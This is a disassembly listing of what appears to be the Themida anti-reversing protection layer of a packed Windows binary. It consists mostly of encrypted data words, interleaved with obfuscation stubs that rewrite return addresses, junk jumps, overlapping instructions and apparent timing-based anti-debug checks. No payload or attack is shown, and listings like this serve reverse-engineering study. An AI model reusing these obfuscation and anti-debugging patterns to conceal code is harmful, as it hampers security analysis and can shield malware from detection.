dd 0FE902h, 0A7F20000h, 0E5A6E544h, 81F75CF0h, 3F7DA711h
dd 14E9B1h, 10900000h, 0A6C7708h, 49CBC3D2h, 0AE67C4F7h
dd 0E8D98AD4h, 8503D7ECh, 7A80FCDh, 8D8B60FCh, 7A83209h
dd 2CA99531h, 966107A8h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 3BC35242h, 6AADBDBFh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 4EB5C356h
dd 0BE51FFD7h, 247C8100h, 24h, 75870F10h, 60000000h, 8501D18Bh
dd 7A8258Dh, 10E95061h, 9F000000h, 0F84F8498h, 5935453Bh
dd 902F20D7h, 892C4580h, 0BE92404h, 0D6000000h, 94875606h
dd 0B373EB5Ah, 448B9510h, 0B1602824h, 198D2971h, 6107A808h
dd 0A7BF6050h, 66013483h, 613757BAh, 0E9240489h, 0Ch, 24A44B3Fh
dd 0B49F573Ch, 0AA1E2C6h, 50FB858Dh, 0BD8907ABh, 7A8251Dh
dd 0BD01D0FFh, 7A821CDh, 24244403h, 0BE9h, 42CCD900h, 8DF2989Dh
dd 91D2A022h, 1C244489h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 0FDC35141h, 0C092E6D3h, 4FB6B59Eh, 0FE99Ah
dd 0A77B0000h, 0C7C1FDB7h, 0EFD7BEBEh, 0A43D4D77h, 61B529E6h
dd 0C607A813h, 0A8061985h, 85C70007h, 7AB7985h, 0
; ---------------------------------------------------------------------------
mov dword ptr [ebp+7AB77F9h], 0
push 0
push edx
call sub_5B9AB9
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B9AB9 proc near ; CODE XREF: Themida_:005B9AB1p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5B9AB9 endp
; ---------------------------------------------------------------------------
db 8Fh, 5, 49h
; ---------------------------------------------------------------------------
jns short loc_5B9B0E
jnb loc_5B9ADA
sub [ebp+7A80349h], esi
loc_5B9ADA: ; CODE XREF: Themida_:005B9ACEj
mov [ebp+7A82811h], edi
push 0
push ebx
call sub_5B9AEB
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B9AEB proc near ; CODE XREF: Themida_:005B9AE3p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5B9AEB endp
; ---------------------------------------------------------------------------
db 86h
dd 11E93Fh, 0A0770000h, 9A6B5951h, 0BBD40590h
db 0D6h, 0B1h
; ---------------------------------------------------------------------------
loc_5B9B0E: ; CODE XREF: Themida_:005B9ACCj
lodsb
db 67h
push es
xchg eax, ebp
mov cl, 61h
clc
retn 8
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5B9B23
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B9B23 proc near ; CODE XREF: Themida_:005B9B1Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5B9B23 endp
; ---------------------------------------------------------------------------
mov dword ptr [edi+26h], 0C6BF6660h
pop eax
jmp loc_5B9B48
; ---------------------------------------------------------------------------
dd 6881BC95h, 7D3A2395h
; ---------------------------------------------------------------------------
loc_5B9B48: ; CODE XREF: Themida_:005B9B3Bj
popa
jnz loc_5B9B55
add [ebp+7A82D41h], esi
loc_5B9B55: ; CODE XREF: Themida_:005B9B49j
clc
mov eax, [ebp+7A80FCDh]
push 0
push edx
call sub_5B9B67
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B9B67 proc near ; CODE XREF: Themida_:005B9B5Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5B9B67 endp
; ---------------------------------------------------------------------------
fisubr word ptr [ecx+21E7549h]
dec edx
push 0
push esi
call sub_5B9B89
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B9B89 proc near ; CODE XREF: Themida_:005B9B81p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5B9B89 endp
; ---------------------------------------------------------------------------
jno short near ptr loc_5B9BEA+3
sub cl, [ebx+ebx*8-46h]
jbe loc_5B9BA6
cld
loc_5B9BA6: ; CODE XREF: Themida_:005B9B9Fj
pusha
jb loc_5B9BB3
jb $+6
loc_5B9BB3: ; CODE XREF: Themida_:005B9BA7j
mov si, 1798h
popa
imul edx, 4
push 0
push eax
call sub_5B9BC6
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B9BC6 proc near ; CODE XREF: Themida_:005B9BBEp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5B9BC6 endp
; ---------------------------------------------------------------------------
test al, 9
sub eax, 6C935B82h
push es
pushf
mov [ebp+7A807B9h], edx
add eax, edx
push 0
push eax
loc_5B9BEA: ; CODE XREF: Themida_:005B9B99j
call sub_5B9BF2
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B9BF2 proc near ; CODE XREF: Themida_:loc_5B9BEAp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5B9BF2 endp
; ---------------------------------------------------------------------------
dw 5B8Ch
dd 7E429F35h, 1AEB2394h, 14E9h, 36F8A400h, 0FBEFAB85h
dd 34551348h, 4C171B75h, 31BE10B6h, 6A96FC5Bh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 4D9FC355h, 8D8B60D5h, 7A81C91h, 34D1BD29h, 0AD6107A8h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 3BC35646h
dd 658D8930h, 2907A818h, 0A82A4DBDh, 247C8107h, 24h, 17870F10h
dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 907DC353h, 0FE9h, 0FA96CA00h
dd 0D35825B8h, 48C14493h, 0DD286A69h, 0F525050h, 1588h
dd 10E900h, 0F7CF0000h, 2BD0EFFAh, 84E00C7Ah, 919D25D7h
dd 310FFA55h, 0F6BF6660h, 585A6140h, 50006A90h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 0FCA09E05h
dd 2824448Bh, 19ED9D89h, 0F9007A8h, 48Dh, 61606000h, 52505061h
dd 52505250h, 585A310Fh, 5250310Fh, 585A310Fh, 310F585Ah
dd 2830Fh, 61600000h, 0F990585Ah, 50FB858Dh, 6A07ABh, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 9D1FDC3h, 0A81A21BDh, 7E907h, 29D80000h, 0CFEECB62h
dd 6AD0FFF0h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 54A2C356h, 0B8E0F1Ch, 0E9000000h
dd 6, 0FE3BFBA0h, 95E9FC21h, 0FFFFFFCh, 680h, 0FD9D2900h
dd 8D07A804h, 0AB8C0385h, 95296007h, 7A82879h, 2CE1BD31h
dd 506107A8h, 8C98BB60h, 665118DBh, 615BC18Bh, 0F240489h
dd 68Ah, 199D8900h, 8907A80Eh, 0A81D398Dh, 35FF6407h, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5B9DFB
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B9DFB proc near ; CODE XREF: Themida_:005B9DF3p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5B9DFB endp
; ---------------------------------------------------------------------------
db 35h
dd 0A2E2E1E3h, 0E96853BEh, 10h, 9722FA60h, 5E928C5Ah, 0CC7649B8h
dd 0C82AF691h, 6A24048Bh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 0F9DC353h, 180h, 5E9F500h
dd 46000000h, 565107D7h, 30218589h, 0B58907A8h, 7A81889h
dd 258964h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 0B2D4C353h, 42772EE9h
dd 8D3D23E6h, 0AB8A7D85h, 9D8B6007h, 7A80031h, 1DF1958Bh
dd 896107A8h, 6A0160h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 0CB5E37C3h, 10297DAh, 0A80C319Dh
dd 1C7E907h, 95290000h, 7A817D1h, 0E8DB8Bh, 5D000000h
dd 8A76ED81h, 9CBC07ABh, 830012FFh, 0A805A1BDh, 18740007h
dd 2981858Bh, 0C607A8h, 55858B00h, 0C607A82Fh, 95FF0000h
dd 7A80A3Dh, 0FDB5FF60h, 8D07AB73h, 0AB740185h, 858D5007h
dd 7AB75F9h, 4195FF50h, 8307A82Fh, 89610CC4h, 0A82C358Dh
dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 0AE768BF9h, 0B5017435h, 7A807D5h, 75F9B58Dh
dd 6A07ABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 5480F9C3h, 8D09983Ah, 7A82985h, 2339BD89h
dd 0AE907A8h, 59000000h, 949C46C7h, 0A15D059h, 1DBD8DE1h
dd 6A07A811h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 4AB6C355h, 93EC647Ch, 0B523602Fh
dd 7A8312Dh, 3E8061h, 22840Fh, 9D890000h, 7A83331h, 816660A4h
dd 665BFCC3h, 0E961DF8Bh, 0FFFFFFE1h, 6810Fh, 8D890000h
dd 7A80091h, 0BD89C02Bh, 7A807FDh, 51006AAAh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 7B87B4Eh, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h
dd 47000000h, 0F5E3C357h, 14EFFE41h, 18D0Fh, 0C7F80000h
dd 0A817E985h, 107h, 80F86000h, 8D6124E9h, 0A84E4D8Dh
dd 19D2907h, 0FF07A81Dh, 1830FE1h, 0F8000000h, 0C245C8Bh
dd 0E855h, 815D0000h, 0AB8C0DEDh, 0B8838B07h, 89000000h
dd 0AB73FD85h, 6F858D07h, 8907AB8Ah, 0B883h, 0C0335D00h
dd 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 80119046h, 0BD577A7Ch, 830FFA08h, 0Ch, 6870Fh
dd 840F0000h, 0
; ---------------------------------------------------------------------------
jmp loc_5BA0DC
; ---------------------------------------------------------------------------
db 0ADh, 6Fh, 9Ch
dd 34DB56Fh
; ---------------------------------------------------------------------------
loc_5BA0DC: ; CODE XREF: Themida_:005BA0D0j
cld
pusha
push 0
push ecx
call sub_5BA0E9
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA0E9 proc near ; CODE XREF: Themida_:005BA0E1p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5BA0E9 endp
; ---------------------------------------------------------------------------
aBbrzocsbaFBzan db '¡BàZoCáB `fºbZa…6Ž«',7,'j',0
; ---------------------------------------------------------------------------
push esi
call sub_5BA119
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA119 proc near ; CODE XREF: Themida_:005BA111p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_5BA119 endp
; ---------------------------------------------------------------------------
db 7Ch, 51h, 7Dh
dd 1E85BB39h, 0F9952912h, 5007A823h, 66525060h, 310FFB8Bh
dd 310F5250h, 585A585Ah, 89615856h, 0E9602404h, 0Ch, 0D62EC638h
dd 0AF936CEEh, 54B2A13Ah, 259D8B51h, 5A07A806h, 0DE86061h
dd 0BC000000h, 8DEFED6Ah, 718F643Dh, 5E6C2BA2h, 2CBD9D89h
dd 665907A8h, 61DF03BFh, 35FF64h, 0E9000000h, 0Bh, 4EEEE8BBh
dd 8553517Ah, 646A05A6h, 2589h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 140424h, 52420000h, 8509DBC3h
dd 7A83405h, 8EC8858Dh, 850907ABh, 7A81AB9h, 0F8016089h
dd 61985C6h, 0F4F07A8h, 0D8Ah, 8E900h, 0D8DD0000h, 1C5E4E4Ah
dd 1468311Dh, 5099816Ch, 6E952h, 76750000h, 3F88BF60h
dd 10E9310Fh, 32000000h, 0D29D2C68h, 619ADCCh, 690B21E7h
dd 5ADA4C7Bh, 24348158h, 6749183Eh, 3058D89h, 0B5FF07A8h
dd 7A80CE1h, 2931B589h, 858D07A8h, 7AB781Ah, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 41C35141h, 0FFC5384Ch
dd 52006AD0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 1CEB4DADh, 89A22918h, 0A80B91BDh, 0A7E907h
dd 10E90000h, 2D000000h, 167FBD0Ch, 6725A117h, 7D96C729h
dd 8BE8A018h, 550C245Ch, 0E8h, 0ED815D00h, 7AB8E40h, 1895858Bh
dd 858907A8h, 7A80CE1h, 1E35858Bh, 858907A8h, 7A80765h
dd 379858Bh, 858907A8h, 7A803C1h, 61985C6h, 0C70007A8h
dd 0AB798585h, 7, 0C8858D00h, 8907AB8Eh, 0B883h, 0C0335D00h
dd 9D8960C3h, 7A80371h, 34958D8Bh, 6A6107A8h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 96FAC350h, 90691EEAh, 4D95297Ah, 107A832h, 0A82E658Dh
dd 0FF74BC07h, 64FC0012h, 58Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 0C3AD1EC3h
dd 890FFB0Ch, 1, 4C483F9h, 0C8E0Fh, 820F0000h, 6, 2C718D89h
dd 0E86107A8h, 13h, 0E35307B9h, 924F3E27h, 6629F4CFh, 2229982Ah
dd 0F8C7E224h, 0C381FC5Bh, 67A3h, 1A058589h, 0C03307A8h
dd 0E2DBD89h, 148B07A8h, 4EBE6603h, 0DEC28149h, 0BE7DA593h
dd 564188E7h, 310F281h, 9D2945CAh, 7A807B9h, 3F56C281h
dd 0B70F786Eh, 9D2952F9h, 7A80B3Dh, 6603048Fh, 9D09F28Bh
dd 7A82D9Dh, 0AB7FE881h, 0F512073h, 815EFBBFh, 73AB7BC0h
dd 49B58B20h, 8107A825h, 0FF98F0F8h, 0A3850FFFh, 0E9FFFFFFh
dd 0Bh, 4128CEBFh, 0A4B94DBBh, 0E80C9122h, 10h, 34B88320h
dd 0C05C0BAEh, 4509F078h, 0F1D1066Bh, 9ACB8166h, 800F5963h
dd 6, 0FC19D8Bh, 0C18107A8h, 70D0h, 68D78Bh, 58000000h
dd 12E9h, 1CE9D000h, 36BC3496h, 84952B71h, 1C4CE56Ah, 8B1FE4ABh
dd 0BE9013Ch, 86000000h, 199A0A44h, 0DB60B255h, 0C781296Eh
dd 0EDEE3C6h, 52EF81F9h, 0F1ABC99h, 0F781D6B7h, 35127699h
dd 0F21958Bh, 3C8907A8h, 6D9D8B01h, 0E907A806h, 11h, 2048329Bh
dd 0ABDF6576h, 0AAD83D59h, 5712A469h, 4E883E5h, 1931B589h
dd 0F88107A8h, 0FFFF9018h, 12850Fh, 85890000h, 7A83105h
dd 37E9h, 0ECAE0F00h, 1856411Dh, 13E8h, 0F4A23000h, 17F9C712h
dd 9583EB0Ah, 0B968050Ch, 6C55BBE9h, 3599D89h, 0E95E07A8h
dd 0FFFFFF67h, 89D86204h, 329FE5CFh, 0E13AEF04h, 464934EBh
dd 52474D53h, 4B562020h, 20202044h, 4D562020h, 2020204Dh
dd 57562020h, 32334E49h, 58562020h, 52444C44h, 2020h, 2 dup(0)
dd 66E90000h, 0FC000007h, 0FE86060h, 8F000000h, 93CF8787h
dd 5AC06E80h, 3BEDFE4Fh, 5EF897F8h, 0B8D0Fh, 5E80000h
dd 0EA000000h, 5C9807E8h, 85C76159h, 7AB90C9h, 0
; ---------------------------------------------------------------------------
js loc_5BA58B
jmp loc_5BA58B
; ---------------------------------------------------------------------------
db 4Fh
dd 36542CF1h
db 79h, 27h, 0E4h
; ---------------------------------------------------------------------------
loc_5BA58B: ; CODE XREF: Themida_:005BA578j
; Themida_:005BA57Ej
mov eax, esi
pusha
or ch, 0D3h
jmp loc_5BA5A3
; ---------------------------------------------------------------------------
dw 60EAh
dd 0B975A2E3h, 3D92C5BCh
db 83h, 87h, 0FBh
; ---------------------------------------------------------------------------
loc_5BA5A3: ; CODE XREF: Themida_:005BA591j
popa
pusha
call near ptr loc_5BA5B1+2
inc eax
sahf
xor eax, 63540764h
loc_5BA5B1: ; CODE XREF: Themida_:005BA5A5p
sar cl, 0Fh
xchg eax, [eax]
; ---------------------------------------------------------------------------
dw 0
dd 0AE85900h, 0BA000000h, 24283B3Dh, 5C7405F0h, 5ABEB55Bh
dd 0D8B70F61h, 10E8C1F9h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 10C35040h, 1850Fh, 0E9F50000h, 6, 77D21670h
dd 0C16695D6h, 0F5F908C8h, 90CD8589h, 6A07ABh, 3E850h
dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 6EE34CC3h, 840F3561h, 1, 0C166F5FCh, 83F508CBh, 850F40FBh
dd 5Eh, 78B0Fh, 8B0F0000h, 1, 0A1BD8DF8h, 6A07AB90h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
dd 4A5AC355h, 16DB8160h, 0E8715471h, 0Ch, 19BCCD4Dh, 0AD99E0D7h
dd 0E27565C4h, 8E9h, 0AE4B800h, 1912FE3Ah, 0FC615A5Dh
dd 1B4E9h, 0FB83F500h, 7D850F0Dh, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 74A8C350h, 0BC2C9971h, 5660784Eh, 0BE665BF5h, 8D619437h
dd 0AB90A9BDh, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 111FF1E0h, 0DE95FB5h
dd 70000000h, 5E2BE477h, 18F86697h, 0C3338215h, 140E9h
dd 0D8E0F00h, 0E9000000h, 8, 0A99109D4h, 49F27EAh, 0F01FB83h
dd 4B85h, 0BD8DFC00h, 7AB90B1h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 19h, 0CAC35040h, 7E3D0FF7h, 8E0F60FDh
dd 5, 2BCF8166h, 0E6B9665Fh, 0E9F56125h, 0E5h, 0BDC38160h
dd 6629366Ah, 61851EB8h, 0F2AFB83h, 6085h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 4FEBD625h, 6A274FF9h, 8DF5FCA6h, 0AB90B9BDh, 50006A07h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 22ECE5CAh, 80E9h, 0A830F00h, 60000000h, 0BF0ADC80h
dd 575AC565h, 27FB8361h, 34B850Fh, 880F0000h, 1Ah, 14800Fh
dd 0FE90000h, 0B8000000h, 0B1982215h, 200853DEh, 7787D36h
dd 6660AB68h, 76F4C281h, 0EE8h, 0A6CD3F00h, 34338DDDh
dd 73BB1FFBh, 6620EC03h, 615ED98Bh, 90C1BD8Dh, 6A07ABh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 2A3C69C3h, 0DA9F3DF6h, 0D1BD89F5h, 0FC07AB90h, 60C88C66h
dd 27EBBB66h, 61CA8B66h, 66600324h, 6655F2BEh, 61BBA8BEh
dd 850FC00Ah, 1DCh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 2AC35141h, 2E301A78h, 0B58DAD98h, 7AB972Fh
dd 11E9h, 0A0C85900h, 6E32F938h, 9B9BC322h, 9E4E8A33h
dd 858B733Bh, 7AB97B3h, 0B860Fh, 66600000h, 3684DB81h
dd 3B1CBE66h, 52509261h, 830F5250h, 0
dd 11E9310Fh, 38000000h, 0AA2E12E5h, 0C158D36Fh, 6E0F5214h
dd 80D972D5h, 310F585Ah, 890F5250h, 0
dd 7E9310Fh, 80000000h, 94BDCBE7h, 585AFD38h, 5050585Ah
dd 68D0F52h, 0F000000h, 89h, 0F310F00h, 68Bh, 0F525000h
dd 5A585A31h, 6A9258h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 0CDEE79C3h, 0ABD4755Fh, 10FF8FCh
dd 6AFE244Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 0B9ADC357h, 166131C4h, 6075EE11h
dd 0BE8h, 0DE0F4200h, 6EFF2EA1h, 3D51BCC5h, 5FCA8B66h
dd 0F1BF0F56h, 5AF8615Eh, 0CE9h, 0CF5DCB00h, 61A25769h
dd 0F44F30E1h, 24C283A9h, 7810Fh, 8B600000h, 0A4E980F1h
dd 72896661h, 1D800FFCh, 60000000h, 14E95950h, 47000000h
dd 0A9C5DD6Eh, 0C27BF706h, 481D1D90h, 26DA98F5h, 612166FEh
dd 6A10CEC1h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 0FB9CC351h, 0A35C5CE7h, 896622E1h
dd 6A0272h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
dd 57470000h, 0A2ABB2C3h, 8D0F04CDh, 1, 0DDE9F9h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 0F8BDD0C3h, 97B3858Bh, 6A07ABh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 190424h, 55450000h, 503E8EC3h, 0FF31BD1h
dd 158Ch, 10E900h, 7DCA0000h, 4EB9F724h, 389AC313h, 19350513h
dd 0B58D77FEh, 7AB972Fh, 6860Fh, 66600000h, 610DE0B9h
dd 4AF6858Dh, 6A07ABh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 105954C3h, 0C2C1FEDBh, 1850F0Eh
dd 0FC000000h, 78F0Fh, 8A0F0000h, 1, 6AD0FFF8h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 0E980C356h, 0E9012C2Ch, 7, 0AD6ED727h, 897B7E93h, 0AB90C985h
dd 8F0FF907h, 15h, 10E9h, 9A618D00h, 0CE145DCEh, 0EBA633F7h
dd 86416DBFh, 8E9618Dh, 2F000000h, 0AC9B96CDh, 8BCB2411h
dd 0AB90C985h, 14E907h, 64890000h, 0B516ED5Bh, 8D7E4D3Eh
dd 7D2FC3D6h, 2EADCB77h, 6AC37DB3h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0BF2FC351h
dd 32A40981h, 6660856Bh, 609497BEh, 0ED8FF781h, 61617599h
dd 1840F60h, 0F8000000h, 97B3BD83h, 0F0007ABh, 5C85h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 58D36FAAh, 890F60C1h, 2, 8B66C58Ah, 85C761CAh, 7AB97B3h
dd 1013Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 0DEC35545h, 8E0F944Ah, 1, 0CE9FCh, 60FC0000h, 9EB4BA66h
dd 0CEE98166h, 20CD61D0h, 0
; ---------------------------------------------------------------------------
loc_5BAC20: ; CODE XREF: Themida_:005BAC59j
or eax, eax
jz short loc_5BAC5B
lea esi, [eax+0Ch]
mov edi, [ebp+7AB90D1h]
mov ecx, 8
loc_5BAC32: ; CODE XREF: Themida_:005BAC36j
cmpsb
jnz short loc_5BAC57
dec ecx
jnz short loc_5BAC32
mov ecx, [eax+30h]
mov ebx, [ebp+7AB90CDh]
cmp ebx, [eax+34h]
jg short loc_5BAC5B
mov edx, ebx
imul edx, 4
add ecx, edx
mov eax, [ecx]
mov [ebp+7AB90C9h], eax
jmp short loc_5BAC5B
; ---------------------------------------------------------------------------
loc_5BAC57: ; CODE XREF: Themida_:005BAC33j
mov eax, [eax]
jmp short loc_5BAC20
; ---------------------------------------------------------------------------
loc_5BAC5B: ; CODE XREF: Themida_:005BAC22j
; Themida_:005BAC44j ...
popa
mov eax, [ebp+7AB90C9h]
iret
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5BAC6E
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BAC6E proc near ; CODE XREF: Themida_:005BAC66p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5BAC6E endp
; ---------------------------------------------------------------------------
dw 0ED64h
; ---------------------------------------------------------------------------
cmp ebx, ecx
jmp loc_5BAC9A
; ---------------------------------------------------------------------------
db 83h
dd 0FCFF4C8Eh, 0A95BF03Ah, 0DB51B2CCh, 0CC40E09h
db 8Ah, 81h
; ---------------------------------------------------------------------------
loc_5BAC9A: ; CODE XREF: Themida_:005BAC82j
pusha
sub si, 0B045h
jnb loc_5BACA8
mov ebx, edi
loc_5BACA8: ; CODE XREF: Themida_:005BACA0j
popa
mov eax, eax
jmp loc_5BADF8
; ---------------------------------------------------------------------------
dd 48h, 4Ch, 50h, 54h, 58h, 5Ch, 60h, 64h, 0A8h, 0ACh
dd 0B0h, 0B4h, 0B8h, 0BCh, 0C0h, 0C4h, 0C8h, 0CCh, 0D0h
dd 0D4h, 0D8h, 0DCh, 0E0h, 0E4h, 38h dup(0)
; ---------------------------------------------------------------------------
adc [ebp-3DFCFFA5h], ch
mov bl, 0
loc_5BADF8: ; CODE XREF: Themida_:005BACABj
lea eax, [ebp+7AB9847h]
mov [ebp+7AB9987h], eax
jnp loc_5BAE20
loc_5BAE0A: ; CODE XREF: Themida_:005BAE17j
pusha
adc ecx, 1F0FCC03h
jmp loc_5BAE1F
; ---------------------------------------------------------------------------
pop esp
jnp short loc_5BAE0A
mov al, ds:6371FE0Bh
dec edi
loc_5BAE1F: ; CODE XREF: Themida_:005BAE11j
popa
loc_5BAE20: ; CODE XREF: Themida_:005BAE04j
mov byte ptr [ebp+7A80619h], 54h
cmc
push 0A5EC9A19h
add dword ptr [esp], 4875CE10h
pusha
push ecx
mov ebx, [ebp+7A82F75h]
pop edi
jmp loc_5BAE4F
; ---------------------------------------------------------------------------
dw 0E9F0h
dd 20FC8D7Ch, 2C30881Ah
db 5, 48h, 4Dh
; ---------------------------------------------------------------------------
loc_5BAE4F: ; CODE XREF: Themida_:005BAE3Dj
popa
call near ptr loc_5BAE5A+3
sbb eax, 4B94C68Eh
loc_5BAE5A: ; CODE XREF: Themida_:005BAE50p
sbb ebx, [ebp-0F749989h]
pop ebx
push dword ptr [ebp+7A80CE1h]
mov edx, [ebp+7A81975h]
lea eax, [ebp+7AB781Ah]
mov ebx, [ebp+7A80A41h]
call eax
jmp loc_5BAE92
; ---------------------------------------------------------------------------
dd 0CAAD6F64h, 1A3066DFh, 7E29DCF8h, 1E131B31h
db 50h, 71h
; ---------------------------------------------------------------------------
loc_5BAE92: ; CODE XREF: Themida_:005BAE7Bj
mov [ebp+7AB998Bh], eax
and di, 3F48h
jmp loc_5BAEE2
; ---------------------------------------------------------------------------
mov bh, 7Fh
push esi
mov esi, [ebp+7AB9987h]
mov [esi], eax
add dword ptr [ebp+7AB9987h], 4
pop esi
retn
; ---------------------------------------------------------------------------
pusha
lea esi, [ebp+7AB9847h]
jmp short loc_5BAECE
; ---------------------------------------------------------------------------
loc_5BAEBF: ; CODE XREF: Themida_:005BAED1j
push esi
push 0
push dword ptr [esi]
call dword ptr [ebp+7AB998Bh]
pop esi
add esi, 4
loc_5BAECE: ; CODE XREF: Themida_:005BAEBDj
cmp dword ptr [esi], 0
jnz short loc_5BAEBF
popa
retn
; ---------------------------------------------------------------------------
db 89h, 85h, 51h
dd 0F07A828h, 18Ah
db 0, 0F8h
; ---------------------------------------------------------------------------
loc_5BAEE2: ; CODE XREF: Themida_:005BAE9Dj
lea eax, [ebp+7AB9A4Dh]
mov si, dx
mov di, cx
mov [ebp+7A826A5h], eax
jmp loc_5BAFE3
; ---------------------------------------------------------------------------
db 96h, 0F7h, 0B3h
dd 55C9700h, 0A188838Ah, 0E0A1D76h, 538FDD7Ah, 2F6D3733h
dd 773D557Dh, 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h
dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 773D557Dh, 7DD57F2Dh
dd 1E577DD7h, 75DF6D17h, 60206020h, 0E0E02020h, 68AC2060h
dd 0E4A9F77Bh, 0B2D020A1h, 0B7EDA693h, 0F291B99Dh, 6020ACA3h
dd 60206020h, 0E0E02020h, 53752060h, 2F0D0A33h, 6020557Dh
dd 60206020h, 362BA728h, 60C950F0h, 0A1EFB6F3h, 0B4E0F796h
dd 92B8E3A7h, 0E9B3F471h, 60F76DB9h, 60206020h, 20206020h
dd 1ADF6DF7h, 7DD77335h, 0EDF73D57h, 5375D55Fh, 2F6D3733h
dd 773D557Dh, 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h
